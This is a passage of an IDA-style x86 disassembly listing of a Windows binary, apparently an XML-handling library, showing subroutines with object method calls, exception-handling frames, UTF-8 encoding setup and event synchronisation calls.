		jmp	short loc_69B3DA12
; ---------------------------------------------------------------------------


loc_69B3DA10:				; CODE XREF: sub_69B3F0EC-16F0j
		xor	eax, eax


loc_69B3DA12:				; CODE XREF: sub_69B3F0EC-16DEj
		mov	[esi], eax


loc_69B3DA14:				; CODE XREF: sub_69B3F0EC-16FBj
		pop	esi
		retn	4
; END OF FUNCTION CHUNK	FOR sub_69B3F0EC

; =============== S U B	R O U T	I N E =======================================



sub_69B3DA18	proc near		; CODE XREF: sub_69B16A74+4Dp
					; sub_69B3DC8C+3Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_4]
		test	edx, edx
		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		jnz	short loc_69B3DA2A
		mov	edx, [eax+10h]


loc_69B3DA2A:				; CODE XREF: sub_69B3DA18+Dj
		push	[esp+4+arg_8]
		mov	ecx, [eax+14h]
		mov	eax, [eax+10h]
		push	edx
		push	eax
		mov	eax, [ecx]
		call	dword ptr [eax+2Ch]
		push	eax
		mov	ecx, esi
		call	sub_69B4D7A3
		pop	esi
		retn	0Ch
sub_69B3DA18	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3DA47	proc near		; CODE XREF: sub_69B435DC+ECp
					; sub_69B4E634+14Bp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		mov	ecx, dword_69B95A84
		call	sub_69B1A954
		mov	eax, [eax]
		retn	4
sub_69B3DA47	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3DA5B	proc near		; CODE XREF: sub_69B3DADB+49p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B4E278
		mov	dword ptr [esi], offset	off_69B123DC
		mov	dword ptr [esi+4], offset off_69B279C4
		and	dword ptr [esi+50h], 0
		mov	eax, esi
		pop	esi
		retn	4
sub_69B3DA5B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3DA7E	proc near		; DATA XREF: .text:off_69B279C4o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B3DA9D
		test	[esp+4+arg_0], 1
		jz	short loc_69B3DA96
		lea	eax, [esi-4]
		push	eax
		call	sub_69B1B2B7


loc_69B3DA96:				; CODE XREF: sub_69B3DA7E+Dj
		lea	eax, [esi-4]
		pop	esi
		retn	4
sub_69B3DA7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3DA9D	proc near		; CODE XREF: sub_69B3DA7E+3p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+4Ch]
		push	eax
		mov	dword ptr [esi-4], offset off_69B123DC
		mov	dword ptr [esi], offset	off_69B279C4
		call	sub_69B17230
		mov	ecx, esi
		pop	esi
		jmp	sub_69B4E344
sub_69B3DA9D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3DABE	proc near		; CODE XREF: sub_69B14EAC+F2p
					; sub_69B173D1+6B4p ...
		push	esi
		lea	esi, [ecx+88h]
		cmp	dword ptr [esi], 0
		jnz	short loc_69B3DAD7
		push	ecx
		call	sub_69B8BEFC
		push	eax
		push	esi
		call	sub_69B17320


loc_69B3DAD7:				; CODE XREF: sub_69B3DABE+Aj
		mov	eax, [esi]
		pop	esi
		retn
sub_69B3DABE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3DADB	proc near		; CODE XREF: sub_69B3DE0E+44p
					; sub_69B3E825+59p
		push	48h
		push	offset dword_69B3DC80
		call	sub_69B19C5C
		mov	esi, ecx
		mov	ebx, [ebp+8]
		xor	edi, edi
		cmp	ebx, edi
		setz	al
		mov	[esi+85h], al
		mov	[ebp-1Ch], edi
		mov	[ebp-20h], edi
		mov	[ebp-4], edi
		mov	al, [esi+8Dh]
		mov	[ebp-21h], al
		test	al, al
		jz	loc_69B3DC0C
		push	54h
		call	sub_69B1D897
		mov	[ebp-28h], eax
		cmp	eax, edi
		jz	short loc_69B3DB2B
		push	esi
		mov	ecx, eax
		call	sub_69B3DA5B
		jmp	short loc_69B3DB2D
; ---------------------------------------------------------------------------


loc_69B3DB2B:				; CODE XREF: sub_69B3DADB+44j
		xor	eax, eax


loc_69B3DB2D:				; CODE XREF: sub_69B3DADB+4Ej
		mov	[ebp-1Ch], eax
		cmp	ebx, edi
		jz	short loc_69B3DB88
		lea	edi, [esi+88h]
		mov	ecx, ebx
		call	sub_69B3DABE
		push	eax
		mov	ecx, edi
		call	sub_69B199CC
		mov	byte ptr [esi+8Fh], 1
		push	28h
		call	sub_69B1D897
		mov	[ebp-2Ch], eax
		test	eax, eax
		jz	short loc_69B3DB83
		mov	eax, [esi+70h]
		mov	[ebp-30h], eax
		mov	ecx, [ebx+70h]
		mov	[ebp-34h], ecx
		mov	edi, [edi]
		mov	[ebp-38h], edi
		push	esi
		push	dword ptr [ebp+0Ch]
		push	eax
		push	ecx
		push	edi
		push	dword ptr [ebp-1Ch]
		mov	ecx, [ebp-2Ch]
		call	sub_69B5CDA6
		jmp	short loc_69B3DB85
; ---------------------------------------------------------------------------


loc_69B3DB83:				; CODE XREF: sub_69B3DADB+81j
		xor	eax, eax


loc_69B3DB85:				; CODE XREF: sub_69B3DADB+A6j
		mov	[ebp-20h], eax


loc_69B3DB88:				; CODE XREF: sub_69B3DADB+57j
		cmp	byte ptr [esi+8Fh], 0
		jnz	short loc_69B3DB9F
		mov	ecx, esi
		call	sub_69B3DABE
		mov	ecx, eax
		call	sub_69B8B632


loc_69B3DB9F:				; CODE XREF: sub_69B3DADB+B4j
		push	4Ch
		call	sub_69B1D897
		mov	[ebp-3Ch], eax
		test	eax, eax
		jz	short loc_69B3DBD2
		mov	edi, [ebp-20h]
		test	edi, edi
		jnz	short loc_69B3DBB7
		mov	edi, [ebp-1Ch]


loc_69B3DBB7:				; CODE XREF: sub_69B3DADB+D7j
		mov	eax, [esi+70h]
		mov	[ebp-40h], eax
		push	eax
		mov	ecx, esi
		call	sub_69B3DABE
		push	eax
		push	edi
		push	esi
		mov	ecx, [ebp-3Ch]
		call	sub_69B4F64F
		jmp	short loc_69B3DBD4
; ---------------------------------------------------------------------------


loc_69B3DBD2:				; CODE XREF: sub_69B3DADB+D0j
		xor	eax, eax


loc_69B3DBD4:				; CODE XREF: sub_69B3DADB+F5j
		lea	edi, [esi+5Ch]
		push	eax
		mov	ecx, edi
		call	sub_69B199CC
		mov	esi, [esi+88h]
		mov	eax, esi
		mov	[ebp-44h], eax
		mov	eax, [eax+38h]
		mov	[ebp-48h], eax
		test	eax, eax
		jnz	short loc_69B3DC31
		mov	[ebp-4Ch], esi
		mov	eax, [ebp-1Ch]
		mov	[ebp-50h], eax
		lea	ecx, [esi+38h]
		mov	[ebp-54h], ecx
		push	eax
		push	ecx
		call	sub_69B17320
		jmp	short loc_69B3DC31
; ---------------------------------------------------------------------------


loc_69B3DC0C:				; CODE XREF: sub_69B3DADB+32j
		push	48h
		call	sub_69B1D897
		mov	[ebp-58h], eax
		cmp	eax, edi
		jz	short loc_69B3DC24
		push	esi
		mov	ecx, eax
		call	sub_69B4EE6F
		jmp	short loc_69B3DC26
; ---------------------------------------------------------------------------


loc_69B3DC24:				; CODE XREF: sub_69B3DADB+13Dj
		xor	eax, eax


loc_69B3DC26:				; CODE XREF: sub_69B3DADB+147j
		lea	edi, [esi+5Ch]
		push	eax
		mov	ecx, edi
		call	sub_69B199CC


loc_69B3DC31:				; CODE XREF: sub_69B3DADB+117j
					; sub_69B3DADB+12Fj
		mov	edi, [edi]
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+8]
		jmp	short loc_69B3DC5E
; ---------------------------------------------------------------------------


loc_69B3DC3B:				; DATA XREF: .text:69B3DC84o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B3DC44:				; DATA XREF: .text:69B3DC88o
		mov	esp, [ebp-18h]
		lea	eax, [ebp-1Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [ebp-20h]
		push	eax
		call	sub_69B17230
		call	sub_69B2E860


loc_69B3DC5E:				; CODE XREF: sub_69B3DADB+15Ej
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	eax, [ebp-1Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [ebp-20h]
		push	eax
		call	sub_69B17230
		call	sub_69B1853C
		retn	8
sub_69B3DADB	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B3DC80	dd 0FFFFFFFFh			dd offset loc_69B3DC3B
		dd offset loc_69B3DC44

; =============== S U B	R O U T	I N E =======================================



sub_69B3DC8C	proc near		; CODE XREF: sub_69B3DD3A+Cp
					; sub_69B3EBB0+3p ...

arg_0		= byte ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	ebx
		mov	esi, ecx
		mov	ecx, [esi+4Ch]
		push	12h
		push	ebx
		call	sub_69B49C1F
		cmp	eax, ebx
		jnz	short loc_69B3DCEC
		cmp	[esp+8+arg_0], bl
		jz	short loc_69B3DCEA
		push	edi
		mov	edi, dword_69B95A84
		cmp	dword ptr [edi+8], 5
		jg	short loc_69B3DCBA
		call	sub_69B2E6D8


loc_69B3DCBA:				; CODE XREF: sub_69B3DC8C+27j
		mov	eax, [edi+20h]
		mov	ecx, [esi+70h]
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	sub_69B3DA18
		push	eax
		push	5
		mov	ecx, esi
		call	sub_69B3D2F2
		mov	ecx, [esi+4Ch]
		mov	edi, eax
		mov	eax, [ecx]
		push	ebx
		push	edi
		call	dword ptr [eax+80h]
		mov	eax, edi
		pop	edi
		jmp	short loc_69B3DCEC
; ---------------------------------------------------------------------------


loc_69B3DCEA:				; CODE XREF: sub_69B3DC8C+1Aj
		xor	eax, eax


loc_69B3DCEC:				; CODE XREF: sub_69B3DC8C+14j
					; sub_69B3DC8C+5Cj
		pop	esi
		pop	ebx
		retn	4
sub_69B3DC8C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3DCF1	proc near		; CODE XREF: sub_69B173D1+372p
					; sub_69B173D1+3A8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	edi
		mov	ecx, esi
		call	dword ptr [eax+0A4h]
		test	eax, eax
		jnz	short loc_69B3DD2E
		mov	ecx, [edi+14h]
		mov	eax, [ecx]
		call	dword ptr [eax+2Ch]
		mov	ecx, eax
		call	sub_69B2F266
		push	eax
		call	sub_69B1A2EC
		mov	edx, [esi]
		push	eax
		mov	ecx, esi
		call	dword ptr [edx+0A4h]
		test	eax, eax
		jz	short loc_69B3DD35


loc_69B3DD2E:				; CODE XREF: sub_69B3DCF1+17j
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+2Ch]


loc_69B3DD35:				; CODE XREF: sub_69B3DCF1+3Bj
		pop	edi
		pop	esi
		retn	8
sub_69B3DCF1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3DD3A	proc near		; CODE XREF: sub_69B3DEBD+Ep
					; sub_69B44418+4Dp
		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi+58h], 0
		push	edi
		jnz	short loc_69B3DD6E
		push	0
		call	sub_69B3DC8C
		mov	edi, eax
		test	edi, edi
		jz	short loc_69B3DD6E
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 3
		mov	esi, eax
		jg	short loc_69B3DD63
		call	sub_69B2E6D8


loc_69B3DD63:				; CODE XREF: sub_69B3DD3A+22j
		push	dword ptr [esi+18h]
		push	edi
		call	sub_69B3DCF1
		jmp	short loc_69B3DD71
; ---------------------------------------------------------------------------


loc_69B3DD6E:				; CODE XREF: sub_69B3DD3A+8j
					; sub_69B3DD3A+15j
		mov	eax, [esi+58h]


loc_69B3DD71:				; CODE XREF: sub_69B3DD3A+32j
		pop	edi
		pop	esi
		retn
sub_69B3DD3A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3DD74	proc near		; CODE XREF: sub_69B444E4+6Dp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		add	ecx, 58h
		push	ecx
		call	sub_69B17320
		retn	4
sub_69B3DD74	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3DD84	proc near		; CODE XREF: sub_69B6F543+54p
					; sub_69B73BF4+2Ep ...
		cmp	dword ptr [ecx+6Ch], 0
		jnz	short loc_69B3DD94
		cmp	dword ptr [ecx+40h], 4
		jnz	short loc_69B3DD94
		mov	eax, [ecx+48h]
		retn
; ---------------------------------------------------------------------------


loc_69B3DD94:				; CODE XREF: sub_69B3DD84+4j
					; sub_69B3DD84+Aj
		xor	eax, eax
		retn
sub_69B3DD84	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3DD97	proc near		; CODE XREF: sub_69B3DE0E+Bp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		push	dword ptr [esi+0E0h]
		push	edi
		push	offset stru_69B25E84
		call	sub_69B3D196
		test	eax, eax
		jnz	short loc_69B3DE09
		cmp	[esi+1Ch], eax
		jz	short loc_69B3DDDF
		cmp	[esi+18h], eax
		jnz	short loc_69B3DDC6
		lea	ecx, [esi+0Ch]
		call	sub_69B8A014


loc_69B3DDC6:				; CODE XREF: sub_69B3DD97+25j
		mov	ecx, [esi+18h]
		test	ecx, ecx
		jnz	short loc_69B3DDD4
		mov	ecx, [esi+14h]
		test	ecx, ecx
		jz	short loc_69B3DDDF


loc_69B3DDD4:				; CODE XREF: sub_69B3DD97+34j
		mov	eax, [edi]
		push	dword ptr [ecx+0Ch]
		mov	edx, [eax]
		push	eax
		call	dword ptr [edx+74h]


loc_69B3DDDF:				; CODE XREF: sub_69B3DD97+20j
					; sub_69B3DD97+3Bj
		mov	ecx, [esi+1Ch]
		mov	eax, [edi]
		mov	[eax+0BCh], ecx
		mov	esi, [esi+14h]
		test	esi, esi
		jz	short loc_69B3DE07
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		push	dword ptr [esi+0Ch] ; lpString
		mov	ecx, [edi]
		call	sub_69B37495
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]


loc_69B3DE07:				; CODE XREF: sub_69B3DD97+58j
		xor	eax, eax


loc_69B3DE09:				; CODE XREF: sub_69B3DD97+1Bj
		pop	edi
		pop	esi
		retn	4
sub_69B3DD97	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3DE0E	proc near		; CODE XREF: sub_69B1C12C+3043p
					; sub_69B3EBE4+39p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_0]
		push	esi
		push	edi
		push	ebp
		mov	esi, ecx
		call	sub_69B3DD97
		xor	ebx, ebx
		cmp	eax, ebx
		jge	short loc_69B3DE2A
		push	eax
		call	sub_69B2E8B8


loc_69B3DE2A:				; CODE XREF: sub_69B3DE0E+14j
		push	dword ptr [ebp+0]
		lea	edi, [esi+60h]
		push	edi
		call	sub_69B17320
		mov	eax, [edi]
		push	dword ptr [esi+4Ch]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+58h]
		cmp	[esi+5Ch], ebx
		jz	short loc_69B3DE4E
		cmp	[esi+85h], bl
		jz	short loc_69B3DE57


loc_69B3DE4E:				; CODE XREF: sub_69B3DE0E+36j
		push	ebx
		push	ebx
		mov	ecx, esi
		call	sub_69B3DADB


loc_69B3DE57:				; CODE XREF: sub_69B3DE0E+3Ej
		mov	ecx, [esi+70h]
		cmp	ecx, ebx
		jz	short loc_69B3DE63
		call	sub_69B1A72A


loc_69B3DE63:				; CODE XREF: sub_69B3DE0E+4Ej
		mov	eax, [edi]
		push	dword ptr [esi+5Ch]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		xor	eax, eax
		cmp	[esi+7Fh], bl
		jnz	short loc_69B3DE78
		push	8
		pop	eax


loc_69B3DE78:				; CODE XREF: sub_69B3DE0E+65j
		cmp	[esi+7Ch], bl
		jz	short loc_69B3DE80
		or	eax, 4


loc_69B3DE80:				; CODE XREF: sub_69B3DE0E+6Dj
		cmp	[esi+7Eh], bl
		jz	short loc_69B3DE88
		or	eax, 10h


loc_69B3DE88:				; CODE XREF: sub_69B3DE0E+75j
		cmp	[esi+80h], bl
		jz	short loc_69B3DE93
		or	eax, 2


loc_69B3DE93:				; CODE XREF: sub_69B3DE0E+80j
		cmp	[esi+7Dh], bl
		jnz	short loc_69B3DE9D
		cmp	[esi+68h], ebx
		jz	short loc_69B3DEA0


loc_69B3DE9D:				; CODE XREF: sub_69B3DE0E+88j
		or	eax, 40h


loc_69B3DEA0:				; CODE XREF: sub_69B3DE0E+8Dj
		cmp	[esi+81h], bl
		jz	short loc_69B3DEAD
		or	eax, 0FFh


loc_69B3DEAD:				; CODE XREF: sub_69B3DE0E+98j
		mov	edi, [edi]
		mov	ecx, [edi]
		push	eax
		push	edi
		call	dword ptr [ecx+70h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_69B3DE0E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3DEBD	proc near		; CODE XREF: sub_69B3DFBE+1Bp
					; sub_69B3E662+81p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_4]
		test	esi, esi
		push	edi
		mov	edi, ecx
		jnz	short loc_69B3DEE2
		call	sub_69B3DD3A
		mov	esi, eax
		test	esi, esi
		jnz	short loc_69B3DEE2
		push	offset aUtf8	; "UTF-8"
		call	sub_69B1A587
		mov	esi, eax


loc_69B3DEE2:				; CODE XREF: sub_69B3DEBD+Cj
					; sub_69B3DEBD+17j
		mov	eax, [esi+0Ch]
		lea	ecx, [ebp+arg_4]
		push	ecx		; int
		push	eax		; lpString
		push	[ebp+arg_0]	; int
		call	sub_69B39B6B
		test	eax, eax
		jge	short loc_69B3DF02
		push	0
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B3DF02:				; CODE XREF: sub_69B3DEBD+37j
		push	esi
		push	dword ptr [edi+78h]
		push	[ebp+arg_4]
		call	sub_69B8A894
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebp
		retn	8
sub_69B3DEBD	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3DF21	proc near		; CODE XREF: sub_69B3E0AB+C0p
					; sub_69B3F10D+6Bp ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+60h]
		mov	eax, [edi]
		xor	ebx, ebx
		cmp	eax, ebx
		jz	short loc_69B3DF42
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+64h]
		test	eax, eax
		jz	short loc_69B3DF42
		push	ebx
		push	edi
		call	sub_69B17320


loc_69B3DF42:				; CODE XREF: sub_69B3DF21+Ej
					; sub_69B3DF21+18j
		push	ebx
		lea	eax, [esi+6Ch]
		push	eax
		call	sub_69B17320
		push	ebx
		lea	eax, [esi+34h]
		push	eax
		call	sub_69B17320
		push	ebx
		lea	eax, [esi+44h]
		push	eax
		mov	[esi+84h], bl
		call	sub_69B17320
		push	ebx
		lea	eax, [esi+48h]
		push	eax
		call	sub_69B17320
		pop	edi
		mov	byte ptr [esi+38h], 1
		pop	esi
		pop	ebx
		retn
sub_69B3DF21	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3DF78	proc near		; CODE XREF: sub_69B3EE2A+98p
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		cmp	[esi+84h], bl
		jnz	short loc_69B3DF90
		push	ebx
		lea	eax, [esi+60h]
		push	eax
		call	sub_69B17320


loc_69B3DF90:				; CODE XREF: sub_69B3DF78+Cj
		cmp	[esi+85h], bl
		jz	short loc_69B3DFA2
		push	ebx
		lea	eax, [esi+5Ch]
		push	eax
		call	sub_69B17320


loc_69B3DFA2:				; CODE XREF: sub_69B3DF78+1Ej
		cmp	[esi+0D0h], ebx
		jnz	short loc_69B3DFBB
		mov	ecx, esi
		call	sub_69B3DABE
		add	eax, 38h
		push	ebx
		push	eax
		call	sub_69B17320


loc_69B3DFBB:				; CODE XREF: sub_69B3DF78+30j
		pop	esi
		pop	ebx
		retn
sub_69B3DF78	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3DFBE	proc near		; DATA XREF: .text:69B124C8o
					; .text:69B22038o
		push	10h
		push	offset dword_69B3E038
		call	sub_69B19C5C
		mov	edi, ecx
		mov	[ebp-1Ch], edi
		lea	esi, [edi-24h]
		push	0
		push	dword ptr [ebp+8]
		mov	ecx, esi
		call	sub_69B3DEBD
		mov	[ebp-20h], eax
		and	dword ptr [ebp-4], 0
		mov	eax, [esi]
		push	dword ptr [ebp-20h]
		mov	ecx, esi
		call	dword ptr [eax+40h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B3E015
; ---------------------------------------------------------------------------


loc_69B3DFF5:				; DATA XREF: .text:69B3E03Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B3DFFE:				; DATA XREF: .text:69B3E040o
		mov	esp, [ebp-18h]
		mov	ecx, [ebp-20h]
		call	sub_69B8A828
		call	sub_69B2E860
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	edi, [ebp-1Ch]


loc_69B3E015:				; CODE XREF: sub_69B3DFBE+35j
		cmp	byte ptr [ebp+0Ch], 0
		jz	short loc_69B3E022
		mov	byte ptr [edi+8Eh], 0


loc_69B3E022:				; CODE XREF: sub_69B3DFBE+5Bj
		mov	ecx, [ebp-20h]
		call	sub_69B8A828
		call	sub_69B1853C
		retn	8
sub_69B3DFBE	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B3E038	dd 0FFFFFFFFh			dd offset loc_69B3DFF5
		dd offset loc_69B3DFFE

; =============== S U B	R O U T	I N E =======================================



sub_69B3E044	proc near		; DATA XREF: .text:69B1BFE8o
					; .text:69B220B0o
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	ebx
		mov	esi, ecx
		call	sub_69B3D622
		push	ebx
		lea	eax, [esi+58h]
		push	eax
		call	sub_69B17320
		cmp	[esi+8Fh], bl
		jnz	short loc_69B3E071
		mov	ecx, esi
		call	sub_69B3DABE
		mov	ecx, eax
		call	sub_69B8B632


loc_69B3E071:				; CODE XREF: sub_69B3E044+1Dj
		push	ebx
		lea	eax, [esi+6Ch]
		push	eax
		call	sub_69B17320
		lea	edi, [esi+0D4h]
		mov	ecx, [edi]
		cmp	ecx, ebx
		jz	short loc_69B3E0A7
		call	sub_69B8A208
		add	esi, 0D8h
		mov	ecx, [esi]
		call	sub_69B8A208
		push	ebx
		push	edi
		call	sub_69B17320
		push	ebx
		push	esi
		call	sub_69B17320


loc_69B3E0A7:				; CODE XREF: sub_69B3E044+41j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_69B3E044	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3E0AB	proc near		; CODE XREF: sub_69B3C634+99p
					; sub_69B3F5CF+1Ep ...
		push	1Ch
		push	offset dword_69B3E1D8
		call	sub_69B19C5C
		mov	esi, ecx
		mov	[ebp-1Ch], esi
		mov	al, [esi+8Dh]
		xor	ebx, ebx
		cmp	al, bl
		jz	loc_69B3E1CC
		push	dword ptr [esi+0C0h]
		lea	ecx, [ebp-20h]
		call	sub_69B18E23
		mov	[ebp-21h], bl
		mov	[ebp-4], ebx
		cmp	[esi+0C8h], bl
		jz	short loc_69B3E129
		mov	edi, [esi+0CCh]
		mov	[ebp-28h], edi
		mov	eax, [esi]
		push	ebx
		mov	[ebp-2Ch], eax
		mov	eax, 0C00CE216h
		push	eax
		push	eax
		call	sub_69B2E8CC
		add	esp, 0Ch
		push	eax
		mov	ecx, esi
		mov	eax, [ebp-2Ch]
		call	dword ptr [eax+64h]
		call	sub_69B11E73
		cmp	[eax+40h], edi
		jz	short loc_69B3E127
		push	0FFFFFFFFh	; dwMilliseconds
		push	dword ptr [esi+0C4h] ; hHandle
		call	ds:WaitForSingleObject	; WaitForSingleObject


loc_69B3E127:				; CODE XREF: sub_69B3E0AB+6Cj
		xor	ebx, ebx


loc_69B3E129:				; CODE XREF: sub_69B3E0AB+3Bj
		push	dword ptr [esi+0C4h] ; hEvent
		call	ds:ResetEvent	; ResetEvent
		mov	ecx, [esi+3Ch]
		mov	eax, [ecx]
		call	dword ptr [eax+0Ch]
		mov	byte ptr [ebp-21h], 1
		cmp	[esi+0ACh], ebx
		jz	short loc_69B3E15C
		push	ebx
		push	0C00CE21Fh
		push	80070005h
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B3E15C:				; CODE XREF: sub_69B3E0AB+9Cj
		mov	ecx, esi
		call	sub_69B3D989
		mov	[esi+0CCh], eax
		mov	ecx, esi
		call	sub_69B3DF21
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+68h]
		mov	byte ptr [esi+0C8h], 1
		mov	[esi+0C9h], bl
		mov	ecx, [esi+3Ch]
		mov	eax, [ecx]
		call	dword ptr [eax+14h]
		mov	ecx, [esi+3Ch]
		mov	eax, [ecx]
		call	dword ptr [eax+10h]
		jmp	short loc_69B3E1C0
; ---------------------------------------------------------------------------


loc_69B3E196:				; DATA XREF: .text:69B3E1DCo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B3E19F:				; DATA XREF: .text:69B3E1E0o
		mov	esp, [ebp-18h]
		cmp	byte ptr [ebp-21h], 0
		jz	short loc_69B3E1B3
		mov	eax, [ebp-1Ch]
		mov	ecx, [eax+3Ch]
		mov	eax, [ecx]
		call	dword ptr [eax+10h]


loc_69B3E1B3:				; CODE XREF: sub_69B3E0AB+FBj
		lea	ecx, [ebp-20h]
		call	sub_69B1900C
		call	sub_69B2E860


loc_69B3E1C0:				; CODE XREF: sub_69B3E0AB+E9j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-20h]
		call	sub_69B1900C


loc_69B3E1CC:				; CODE XREF: sub_69B3E0AB+1Bj
		call	sub_69B1853C
		retn
sub_69B3E0AB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 8
dword_69B3E1D8	dd 0FFFFFFFFh			dd offset loc_69B3E196
		dd offset loc_69B3E19F

; =============== S U B	R O U T	I N E =======================================



sub_69B3E1E4	proc near		; CODE XREF: sub_69B3C634+EBp
					; sub_69B3EF04+17p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		cmp	[esi+8Dh], bl
		jz	short loc_69B3E23D
		cmp	[esi+0C8h], bl
		jz	short loc_69B3E23D
		cmp	[esp+8+arg_0], ebx
		jl	short loc_69B3E20B
		cmp	[esi+6Ch], ebx
		jnz	short loc_69B3E20B
		cmp	dword ptr [esi+40h], 4
		jnz	short loc_69B3E23D


loc_69B3E20B:				; CODE XREF: sub_69B3E1E4+1Aj
					; sub_69B3E1E4+1Fj
		push	edi
		lea	edi, [esi+0CCh]
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_69B3E220
		push	eax
		mov	ecx, esi
		call	sub_69B3D9B7


loc_69B3E220:				; CODE XREF: sub_69B3E1E4+32j
		mov	ecx, [esi+3Ch]
		mov	[esi+0C8h], bl
		mov	[edi], ebx
		mov	eax, [ecx]
		call	dword ptr [eax+18h]
		push	dword ptr [esi+0C4h] ; hEvent
		call	ds:SetEvent	; SetEvent
		pop	edi


loc_69B3E23D:				; CODE XREF: sub_69B3E1E4+Cj
					; sub_69B3E1E4+14j ...
		pop	esi
		pop	ebx
		retn	4
sub_69B3E1E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3E242	proc near		; DATA XREF: .text:69B1BFE4o
					; .text:69B220ACo
		push	34h
		push	offset dword_69B3E368
		call	sub_69B19C5C
		mov	esi, ecx
		mov	[ebp-1Ch], esi
		lea	eax, [esi+0B0h]
		xor	ebx, ebx
		cmp	[eax], bl
		jnz	loc_69B3E35B
		mov	byte ptr [eax],	1
		mov	[ebp-4], ebx
		mov	eax, [esi+60h]
		mov	[ebp-20h], eax
		cmp	eax, ebx
		jz	short loc_69B3E27A
		mov	ecx, [eax]
		push	ebx
		push	eax
		call	dword ptr [ecx+14h]


loc_69B3E27A:				; CODE XREF: sub_69B3E242+2Fj
		lea	ecx, [esi+6Ch]
		mov	eax, [ecx]
		mov	[ebp-24h], eax
		cmp	eax, ebx
		jnz	short loc_69B3E28E
		push	dword ptr [ebp+8]
		call	sub_69B199CC


loc_69B3E28E:				; CODE XREF: sub_69B3E242+42j
		mov	eax, [esi+0D4h]
		mov	[ebp-28h], eax
		cmp	eax, ebx
		jz	short loc_69B3E2C8


loc_69B3E29B:				; CODE XREF: sub_69B3E242+84j
		mov	eax, [esi+0D4h]
		mov	[ebp-2Ch], eax
		mov	ecx, [eax+0Ch]
		mov	[ebp-30h], ecx
		cmp	ecx, ebx
		jle	short loc_69B3E2C8
		mov	[ebp-34h], eax
		push	ebx
		mov	ecx, eax
		call	sub_69B8A163
		mov	[ebp-38h], eax
		mov	edx, [eax]
		push	dword ptr [ebp+8]
		mov	ecx, eax
		call	dword ptr [edx+64h]
		jmp	short loc_69B3E29B
; ---------------------------------------------------------------------------


loc_69B3E2C8:				; CODE XREF: sub_69B3E242+57j
					; sub_69B3E242+6Aj
		cmp	dword ptr [esi+40h], 4
		jnz	short loc_69B3E2DA
